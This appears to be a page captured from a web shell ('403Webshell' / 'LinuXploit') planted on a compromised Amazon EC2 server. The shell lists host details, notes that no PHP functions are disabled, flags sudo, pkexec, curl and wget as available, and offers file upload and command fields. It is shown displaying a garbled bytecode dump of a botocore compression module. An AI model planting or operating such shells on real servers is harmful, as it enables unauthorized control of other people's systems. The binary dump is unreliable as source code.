403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/awscli/botocore/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/awscli/botocore/__pycache__/compress.cpython-39.pyc
a

wA�i��@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZe�
e�Zdd	�Zd
d�Zdd
�Zdd�Zdd�Zdd�Zdd�ZdeiZdS)z�
NOTE: All functions in this module are considered private and are
subject to abrupt breaking changes. Please do not use them directly.

�N)�GzipFile)�compress)�	urlencode)�register_feature_id)�determine_content_lengthcCsnt|||�rj|jdD]R}t�|�}|dur\t�d|�||d�|d<t|d|�dSt�d|�qdS)zAAttempt to compress the request body using the modeled encodings.Z	encodingsNz%Compressing request with %s encoding.�body�headersz$Unsupported compression encoding: %s)�_should_compress_request�request_compression�COMPRESSION_MAPPING�get�logger�debug�_set_compression_header)�config�request_dict�operation_model�encoding�encoder�r�</usr/lib/python3.9/site-packages/awscli/botocore/compress.py�maybe_compress_requests
rc	Cs�|jdur||jdkr||jdur|t|�sFt|d�}d}t�||�dS|jrb|��}|j	}d|vSt
|d�}|j}||kSdS)NTZv2rz*Body type %s does not support compression.FZrequiresLength)Zdisable_request_compressionZsignature_versionr
�_is_compressible_type�typer
rZhas_streaming_inputZget_streaming_input�metadata�_get_body_sizeZ"request_min_compression_size_bytes)	rrrZ	body_typeZlog_msgZstreaming_inputZstreaming_metadataZ	body_sizeZmin_sizerrrr	-s&���r	cCsL|d}t|t�r.t|ddd��d�}||d<t|tttf�}|pJt|d�S)NrT�utf-8)�doseqr�read)�
isinstance�dictr�encode�str�bytes�	bytearray�hasattr)rrZis_supported_typerrrrEs
rcCs$t|�}|dur t�d|�d}|S)NzCUnable to get length of the request body: %s. Skipping compression.r)rr
r)r�sizerrrrOs�rcCs~td�t|t�r t|�d��St|ttf�r6t|�St|d�rzt|d�rrt|d�rr|��}t	|�}|�
|�|St	|�SdS)NZGZIP_REQUEST_COMPRESSIONrr�seek�tell)rrr"�
gzip_compressr!r#r$r%r(�_gzip_compress_fileobjr')rZcurrent_position�compressed_objrrr�_gzip_compress_body[s


r,cCsrt��}t|dd��@}|�d�}|s&qFt|t�r:|�d�}|�|�qWd�n1sZ0Y|�d�|S)N�wb)Zfileobj�modei rr)	�io�BytesIOrrrr"r!�writer')rr+Zgz�chunkrrrr*js


*
r*cCs2|�d�}|dur||d<n|�d|��|d<dS)NzContent-Encoding�,)r)rrZ	ce_headerrrrrxs

r�gzip)�__doc__r/Zloggingr4rrr)Zbotocore.compatrZbotocore.useragentrZbotocore.utilsrZ	getLogger�__name__r
rr	rrr,r*rrrrrr�<module>
s 



Youez - 2016 - github.com/yon3zu
LinuXploit